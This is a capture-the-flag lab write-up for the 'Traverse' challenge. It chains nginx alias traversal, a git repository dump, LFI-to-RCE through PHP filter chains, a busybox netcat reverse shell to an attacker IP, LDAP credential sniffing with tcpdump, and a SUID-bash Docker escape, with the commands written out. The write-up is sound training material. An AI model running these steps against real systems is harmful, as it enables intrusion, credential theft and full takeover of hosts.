> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/traverse.md). # Traverse Challenge Lab (Medium) - by xjr {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0

](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** ## Scenario ### Objective You’ve been brought in to conduct an internal penetration test targeting a highly sensitive Linux server. To demonstrate the real-world business impact of a breach, the client has hidden two flags on the system. Your objective: compromise the server and extract both flags. #### Initial Access The client has provided you with VPN access to their environment, but no other information. ## Summary

Summary

In Traverse, we begin by discovering an FTP server with anonymous access, SSH, and an nginx web server redirecting to `traverse.hsm`. The FTP service exposes a password-protected ZIP file in a `devops` directory, which is cracked using `john` and `rockyou.txt`, revealing an nginx configuration and a note referencing a repository at `/opt/app`. The configuration discloses a classic nginx alias traversal vulnerability in the `/assets` location block - missing a trailing slash - allowing access to files outside the intended static directory. Exploiting this misconfiguration with `feroxbuster` uncovers a `.git` repository, which is dumped using `gitdumper`. Inspecting the full commit history reveals credentials for the user `spencer` and a hidden virtual host, `docs-0eoyfsyajxs.traverse.hsm`. Authenticating to the docs portal with Spencer's credentials exposes a `page` parameter susceptible to Local File Inclusion. While direct inclusion of sensitive files is blocked and the vulnerability appears restricted to `.php` extensions, PHP filter chains are used to achieve remote code execution, spawning a reverse shell as `traverse-docs`. From there, switching to `spencer` via `su` with the previously discovered password succeeds despite an internal security policy prohibiting credential reuse, yielding the user flag. Privilege escalation begins with a note in Spencer's home directory pointing to a Docker container on the `172.20.0.0/24` network, which we reache via a `ligolo-ng` tunnel. The host's LDAP service on port `389`, enumerated anonymously, reveals SSHA password hashes for `spencer` and `webadmin`, with `webadmin`'s hash cracked using `hashcat`. Logging into the container's management dashboard on port 8080 as `webadmin` provides an LDAP connection test feature that triggers an authenticated bind as `admin`. During host enumeration, `linpeas` reveals that `tcpdump` has the `cap_net_raw` capability set, allowing any user to capture network traffic. Leveraging this, we sniff port `389` while triggering an LDAP connection test from the dashboard, capturing the `admin` bind credentials in cleartext. These credentials grant SSH access to the container, where `sudo` is unrestricted. As root inside the container, a bind-mounted shared directory between `/mnt/share` (container) and `/var/share` (host) is exploited by copying a SUID root bash binary from the container onto the share, which the host kernel honors without `nosuid` restrictions gaining us full root access and the final flag.

## Recon We use `rustscan -b 500 -a 10.1.128.226 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`. A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability. {% code overflow="wrap" expandable="true" %} ``` rustscan -b 500 -a 10.1.128.226 -- -sC -sV -Pn ``` {% endcode %}

The target machine `10.1.128.226` is a Linux host resolving to `traverse.hsm`, with remote access available via SSH on port `22` (OpenSSH `9.6p1`). An FTP server runs on port `21` (vsftpd `3.0.5`) with anonymous login enabled, exposing a `devops` directory and an image file. A web server is running on port `80` (nginx `1.24.0`) which redirects to `http://traverse.hsm/`.

We add the following entry to our `/etc/hosts` file. {% code overflow="wrap" expandable="true" %} ``` 10.1.128.226 traverse.hsm ``` {% endcode %} ### FTP First, we'll use the FTP service available, connect to it, and log in anonymously - maybe there are some senstive files for us available - In the `devops` folder, we find a ZIP file. We download it. {% code overflow="wrap" expandable="true" %} ``` ftp traverse.hsm ``` {% endcode %}

The zip file is password protected... {% code overflow="wrap" expandable="true" %} ``` unzip content.zip ``` {% endcode %}

To crack the password, we generate a hash using zip2john. {% code overflow="wrap" expandable="true" %} ``` zip2john content.zip > content.hash ``` {% endcode %}

Using john and the `rockyou.txt` file, along with the resulting hash, we are able to crack the password for the zip file. {% code overflow="wrap" expandable="true" %} ``` john --wordlist=/usr/share/wordlists/rockyou.txt content.hash ``` {% endcode %}

We unzip the file and find a configuration file and a message. {% code overflow="wrap" expandable="true" %} ``` unzip content.zip ``` {% endcode %}

The message indicates that a repository has apparently been created in `/opt/app`. We may have a `.git` folder available through the web service.

The config is also very interesting. This looks like an nginx config that redirects all traffic to `traverse.hsm` and reverse-proxies requests to a backend application running on `localhost:8000`, while serving static assets directly from `/opt/app/static/`. The `location /assets` section uses `alias` without a trailing slash on the location path, which is a classic nginx alias traversal vulnerability. By requesting something like `/assets../` we might access files outside `/opt/app/static/`, potentially reaching out to `/opt/app/` to read for example the `.env` file or other sensitive information. {% embed url="" %}

{% code title="traverse.conf" overflow="wrap" expandable="true" %} ``` server { listen 80 default_server; listen [::]:80 default_server; server_name _; return 301 http://traverse.hsm$request_uri; } server { listen 80; listen [::]:80; server_name traverse.hsm; root /var/www/html; index index.html; location / { proxy_pass http://127.0.0.1:8000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } location /assets { alias /opt/app/static/; } } ``` {% endcode %} ### WEB We'll now move on to the web service. Even though we have a host, we are unable to list additional virtual hosts.We're performing a directory scan using `common.txt`. Among other things, this file includes an entry for `.git`, but we can't find the mentioned repository using a direct directory scan. In addition, we find a `/deploy/` directory {% code overflow="wrap" expandable="true" %} ``` feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://traverse.hsm/' ``` {% endcode %}

We will now continue to enumerate the page manually. For now, it seems to be very static page. {% code overflow="wrap" expandable="true" %} ``` http://traverse.hsm/ ``` {% endcode %}

We find a contact form, but we don't see any requests being made. Otherwise, this would have been a potential entry point via blind XSS to obtain session cookies. {% code overflow="wrap" expandable="true" %} ``` http://traverse.hsm/#contact ``` {% endcode %}

We try to visist the `deploy` directory, but receive a `403`. {% code overflow="wrap" expandable="true" %} ``` http://traverse.hsm/deploy/ ``` {% endcode %}

We recall the config file in the zip file available on the FTP server. We then attempt another directory scan using the identified path-traversal approach to detect any additional directories and hidden files that may have been filtered out. {% code overflow="wrap" expandable="true" %} ``` server { listen 80 default_server; listen [::]:80 default_server; server_name _; return 301 http://traverse.hsm$request_uri; } server { listen 80; listen [::]:80; server_name traverse.hsm; root /var/www/html; index index.html; location / { proxy_pass http://127.0.0.1:8000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } location /assets { alias /opt/app/static/; } } ``` {% endcode %} {% embed url="" %} However, we could have find this misconfiguration even without the hint from the zip file, using, for example, Nuclei. {% code overflow="wrap" expandable="true" %} ``` nuclei -u http://traverse.hsm ``` {% endcode %}

And we do find now a `.git` repository folder. {% code overflow="wrap" expandable="true" %} ``` feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://traverse.hsm/assets../ ``` {% endcode %}

We dump the repository with the gitdumper. {% code overflow="wrap" expandable="true" %} ``` gitdumper.sh http://traverse.hsm/assets../.git/ ./git-dump ``` {% endcode %}

## Access as spencer Next, we inspect the logs and find an intersing commit. The environment credentials have been moved to deployment. {% code overflow="wrap" expandable="true" %} ``` git --no-pager log ``` {% endcode %}

We inspect the full commit history across all branches with complete diffs and do find the credentials of the user `spencer`. We try those to get a session via SSH but are unsuccessful. Furthermore we find another VHOST - see `DOCS_BASE=http://docs-0eoyfsyajxs.traverse.hsm`. {% code overflow="wrap" expandable="true" %} ``` git --no-pager log -p --all ``` {% endcode %}

We adapt now the following entry of our `/etc/hosts` file as follows: {% code overflow="wrap" expandable="true" %} ``` 10.1.128.226 traverse.hsm docs-0eoyfsyajxs.traverse.hsm ``` {% endcode %} We visit the newly identified endpoint and are redirected to a login page. We immediately enter the credentials we found earlier... {% code overflow="wrap" expandable="true" %} ``` http://docs-0eoyfsyajxs.traverse.hsm/login.php ``` {% endcode %}

... and we are able to log in. We have now access to the Employee operation workspace containing some documentary. {% code overflow="wrap" expandable="true" %} ``` http://docs-0eoyfsyajxs.traverse.hsm/ ``` {% endcode %}

## Shell as traverse-docs The security baseline specifies that accounts must be strictly separated and that password reuse across systems and applications is not supported. We'll put that to the test later. At least we weren't able to log in via SSH earlier. But that wont stop us from continuing testing. Another thing we noticed is that the pages are included using a page parameter as follows: `page=pages/security.php`. This is a strong indicator of a possible file inclusion. {% code overflow="wrap" expandable="true" %} ``` http://docs-0eoyfsyajxs.traverse.hsm/?page=pages/security.php ``` {% endcode %}

Fuzzing using the Jason Haddix wordlist didn't yield any significant results at first. However, we'll take another look at it manually. We see we are able traverse back and forth. An LFI is certainly possible. {% code overflow="wrap" expandable="true" %} ``` http://docs-0eoyfsyajxs.traverse.hsm/?page=pages/../pages/security.php ``` {% endcode %}

However, we cannot include files such as `.env` or `/etc/passwd`. We get an error message when we try to do so. {% code overflow="wrap" expandable="true" %} ``` http://docs-0eoyfsyajxs.traverse.hsm/?page=pages/../.env/ ``` {% endcode %}

However, we can use filters. This would allows us to read the page sources. But since we can also use filters, let's try applying PHP filter chains, which would allow us to achieve remote code execution via the LFI. {% embed url="" %} {% code overflow="wrap" expandable="true" %} ``` http://docs-0eoyfsyajxs.traverse.hsm/?page=php://filter/convert.base64-encode/resource=pages/../pages/security.php ``` {% endcode %}

We use the following project to create the phpinfo page as a PoC to show remote code execution by exploiting LFI2RCE via PHP filters. {% embed url="" %} {% code overflow="wrap" expandable="true" %} ``` python3 php_filter_chain_generator.py --chain '' ``` {% endcode %}

We include the payload, but again, we receive errors like we already received by including `.env` or `/etc/passwd`. The following code block does not display the entire payload. The same applies to the following code blocks, as they are too long. {% code overflow="wrap" expandable="true" %} ``` http://docs-0eoyfsyajxs.traverse.hsm/?page=php://filter/convert.iconv.UTF8... ``` {% endcode %}

The inclusion may be limited to `.php` files. We'll adapt the resulting payload and append a `.php` extension to it. And we are able to execute code through PHP filter chains. {% code overflow="wrap" expandable="true" %} ``` http://docs-0eoyfsyajxs.traverse.hsm/?page=php://filter/convert.iconv.UTF8...convert.base64-decode/resource=php://temp.php ``` {% endcode %}

We're now using the project again to create a very small webshell, which we obtained from `revshells.com`. {% code overflow="wrap" expandable="true" %} ``` python3 php_filter_chain_generator.py --chain '' ``` {% endcode %}

We issue the `id` command directly in the URL as follows `?0=id&page=php://filter/` and are able to identify the user running the web service, we are `traverse-docs`. {% code overflow="wrap" expandable="true" %} ``` http://docs-0eoyfsyajxs.traverse.hsm/?0=id&page=php://filter/convert.iconv.UTF8...convert.base64-decode/resource=php://temp.php ``` {% endcode %}

Now that we can use the webshell to execute commands on the system, we want to set up a reverse shell. First, we'll set up a listener using Penelope. {% embed url="" %} {% code overflow="wrap" expandable="true" %} ``` penelope -p 4445 ``` {% endcode %}

Next, we'll spawn a reverse shell using BusyBox. We receive a connection and are the user `traverse-docs`. {% code overflow="wrap" expandable="true" %} ``` http://docs-0eoyfsyajxs.traverse.hsm/?0=busybox nc 10.200.98.51 4445 -e /bin/bash&page=php://filter/convert.iconv.UTF8...convert.base64-decode/resource=php://temp.php ``` {% endcode %}

## Shell as spencer On the system, we see from the `/etc/passwd` file that there is also a user named `spencer`. Even though we can't connect via SSH, we still try to switch to that user using the `su` command and the password we found in the Git history, and we are able to successfully switch to `spencer`. It appears that the policy was not followed... We find the user flag in `/home/spencer/user.txt`. {% code overflow="wrap" expandable="true" %} ``` su spencer ``` {% endcode %}

## Access as ### Host Enumeration In `spencer`'s home directory, we also find a note indicating that a Docker container is apparently running in the management dashboard on the `172.20.0.0/24` network. It does not appear to be in production yet. {% code overflow="wrap" expandable="true" %} ``` cat /home/spencer/notes.txt ``` {% endcode %}

Unfortunatley our user is not in `docker` group. We have access to the docker binary... {% code overflow="wrap" expandable="true" %} ``` docker ``` {% endcode %}

... but cannot inspect the containers running.

Before we dive into the container, we also perform a comprehensive enumeration using Linpeas and find a few interesting findings. {% code overflow="wrap" expandable="true" %} ``` ./linpeas.sh ``` {% endcode %}

We can see that it's listening on port `389`, which corresponds to LDAP. It's also interesting that it's listening on `0.0.0.0`, but we didn't see that in our nmap scan. It appears that firewall rules are active; perhaps this is only for internal use and a Docker container is using this.

Furthermore, it is noticeable that the `tcpdump` binary has some intersting capabilities set. It has the `cap_net_raw` set, which lets any user capture network traffic without being root, so it would allows us sniff any traffic that goes through the machine.

We will now continue with the Docker enumeration. We know that there are likely one or more instances on the `172.20.0.0/24` network. We use a small ping sweep script to identify running hosts and find a container at `172.20.0.10`. {% code overflow="wrap" expandable="true" %} ```python cat << 'EOF' > sweep.py import subprocess, threading def ping(ip): if subprocess.run(["ping","-c","1","-W","1",ip],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL).returncode==0: print(f"{ip} is up") threads=[threading.Thread(target=ping,args=(f"172.20.0.{i}",)) for i in range(1,255)] for t in threads: t.start() for t in threads: t.join() EOF python3 sweep.py ``` {% endcode %}

### Ligolo-ng setup For the subsequent phases, we use ligolo to relay traffic between the target machine and our attacker machine to make the internal reachable networks of the target machine accessible to our attacker machine. Especially to reach out to the docker container and be also able to enumerate the LDAP service running on port `389`. > **Ligolo-ng** is a *simple*, *lightweight* and *fast* tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a **tun interface** (without the need of SOCKS). On our attack machine, we start the proxy server. {% code overflow="wrap" expandable="true" %} ``` sudo ./proxy -selfcert ``` {% endcode %}

Inside that proxy we create an interface called `traverse` and set up the routes. We add the routes for `240.0.0.1/32` as a virtual listener IP and `172.20.0.0/24` to reach the internal network through the compromised host. {% code overflow="wrap" expandable="true" %} ``` ifcreate --name traverse ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` route_add --name traverse --route 240.0.0.1/32 ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` route_add --name traverse --route 172.20.0.0/24 ``` {% endcode %}

Next, we get the agent to the target machine and connect to our proxy. {% code overflow="wrap" expandable="true" %} ``` ./agent -connect 10.200.98.51:11601 --ignore-cert ``` {% endcode %}

After the connection has been made we should see in our proxy that an agent has joined.

We can list and interact with the session by calling `session` and then chosing the session. {% code overflow="wrap" expandable="true" %} ``` session ``` {% endcode %} After chosing the session, we can start the tunnel. {% code overflow="wrap" expandable="true" %} ``` tunnel_start --tun traverse ``` {% endcode %} To confirm our tunnel and routes we can issue the following commands: {% code overflow="wrap" expandable="true" %} ``` tunnel_list ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` route_list ``` {% endcode %}

We should now be able to reach out to `172.20.0.0/24`. ### Docker Enumeration & Further Host Enumeration First, we perform a port scan on `172.20.0.10`. We use `rustscan -b 500 -a 172.20.0.10 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`. A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability. {% code overflow="wrap" expandable="true" %} ``` rustscan -b 500 -a 172.20.0.10 -- -sC -sV -Pn ``` {% endcode %}

The Docker container `172.20.0.10` is a linux machine accessible via SSH on port `22` (OpenSSH `8.9p1`) and is running a Python-based web server on port `8080` (Werkzeug `3.1.8` / Python `3.10.12`) serving the `Traverse HSM · Internal Login` page.

We visit the mentioned page on port `8080` and see that you can log in via LDAP. Interseting, we've already seen LDAP running internally on the host. {% code overflow="wrap" expandable="true" %} ``` http://172.20.0.10:8080/ ``` {% endcode %}

So, let's try enumerating the LDAP service on the host first, maybe we'll find something interesting. We'll use ldapsearch and first try to get the base naming context first, since without knowing the naming context we cannot search any entries. We identify the namingContext as `dc=nodomain`. {% code overflow="wrap" expandable="true" %} ``` ldapsearch -x -H ldap://240.0.0.1 -s base namingcontexts ``` {% endcode %}

Using the base DN obtained from the previous query, we dump all objects in the directory tree anonymously. This may reveal any users, groups, and sensitive attributes like for example passwords or password hashes. And we do find the `userPassword` for spencer and the `webadmin` user as well as their corresponding mails that are required from the login page on `8080`. Those entries are base64 encoded. {% code overflow="wrap" expandable="true" %} ``` ldapsearch -x -H ldap://240.0.0.1 -b "dc=nodomain" "(objectclass=*)" ``` {% endcode %}

We decode them and see that those are SSHA (Salted SHA-1) password hashes. This is the standard format that OpenLDAP uses for `userPassword` attributes. {% code overflow="wrap" expandable="true" %} ``` echo 'REDACTED' | base64 -d ``` {% endcode %}

We try to crack the hashes using hashcat and successfully crack the hash for the `webadmin` user. {% code overflow="wrap" expandable="true" %} ``` hashcat -m 111 'REDACTED' /usr/share/wordlists/rockyou.txt --show ``` {% endcode %}

Next, we try tp log in to the dashboard as `webadmin@traverse.hsm`... {% code overflow="wrap" expandable="true" %} ``` http://172.20.0.10:8080/ ``` {% endcode %}

... and are successful. We have a Management Dashboard infront of us. {% code overflow="wrap" expandable="true" %} ``` http://172.20.0.10:8080/dashboard ``` {% endcode %}

## Shell as admin On that page we see that we are able to perfom LDAP conneciton tests.

We issue such a test and see an authentication as admin being done.

We recall our Linpeas results and we know that we are able to sniff the data from the host. Since we have not found any other docker containers in the network and the Host is listening to `389` we try to sniff for that traffic. We may be able to capture the credentials being issued.

In our Penelope session we stop our ligolo agent if not already run in background and run the agent again in background... {% code overflow="wrap" expandable="true" %} ``` CTRL + C ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` ./agent -connect 10.200.98.51:11601 --ignore-cert & ``` {% endcode %}

Next, we run a tcpdump on port `389` on any interface... {% code overflow="wrap" expandable="true" %} ``` tcpdump -i any -A port 389 ``` {% endcode %}

... and issue another LDAP connection test.

We see the connection being made and also spot something that looks like credentials.

We can also create a capture file to inspect the traffic in a more human readable way. {% code overflow="wrap" expandable="true" %} ``` tcpdump -i any -A port 389 -w ldap_dump.pcap ``` {% endcode %}

We issue another connection test.

And after the connection test we abort the tcpdump process and gather the captured result. {% code overflow="wrap" expandable="true" %} ``` CTRL + C ``` {% endcode %}

To retreive the data we run a simple python webserver on the target machine... {% code overflow="wrap" expandable="true" %} ``` python3 -m http.server 9000 ``` {% endcode %}

... and download the PCAP file. {% code overflow="wrap" expandable="true" %} ``` wget http://240.0.0.1:9000/ldap_dump.pcap ``` {% endcode %}

Inspecting the PCAP file we see that LDAP simple binds send credentials in cleartext on port `389`, any bind request will expose the DN and password directly in the capture. {% code overflow="wrap" expandable="true" %} ``` tshark -r ldap_dump.pcap -Y "ldap.protocolOp == 0" -T fields -e ldap.name -e ldap.simple ``` {% endcode %}

We try to reuse the credentials to log in via SSH to the container possible to our Ligolo setup and we see we are able to log in. Here, too, the policy was not followed, and there was no strict separation of user credentials between application users and system users. {% code overflow="wrap" expandable="true" %} ``` ssh admin@172.20.0.10 ``` {% endcode %}

## Shell as root As the `admin` user, we can run everything as `root` using `sudo`, so let's switch to the root user right away. {% code overflow="wrap" expandable="true" %} ``` sudo -l ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` sudo su ``` {% endcode %}

Now that we have root privileges on the Docker container, we can try to escape from it. To enumerate such possibilities, we'll use the `deepce.sh` script. {% embed url="" %} {% code overflow="wrap" expandable="true" %} ``` ./deepce.sh ``` {% endcode %}

Among other things, we see that a share has been mounted. Perhaps it's located on the host. If that's the case, we could use it to escalate privileges by placing a Bash binary there and setting the SUID bit.

We see that we have write permissions on the share. But first we need to figure out where this share is eventually on the host so we insert a file we will look for from the hosts perspective. {% code overflow="wrap" expandable="true" %} ``` ls -lah /mnt/share/ ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` echo 'hello world' > /mnt/share/breadcrumb ``` {% endcode %}

We search for our file and do find it at `/var/share`. {% code overflow="wrap" expandable="true" %} ``` find / -type f -name "breadcrumb" 2>/dev/null ``` {% endcode %}

The container's `/mnt/share` and the host's `/var/share` are the same directory via a bind mount. Unfortunately we cannot write the bash binary from the host to the share due to missing permissions and it would be owned by spencer... But we can copy a SUID root bash there from inside the container, so it appears on the host owned by real root. And it's compatible with the system of the host. Since there's no `nosuid` on the mount and no user namespace remapping, the host kernel honors the SUID bit and gives spencer `euid=0` when running it with `-p`. {% code overflow="wrap" expandable="true" %} ``` cp /bin/bash /mnt/share/bash && chmod +sx /mnt/share/bash ``` {% endcode %}

We run the bash SUID binary with `-p` and become root and are able to read the final flag at `/root/root.txt`. {% code overflow="wrap" expandable="true" %} ``` /var/share/bash -p ``` {% endcode %}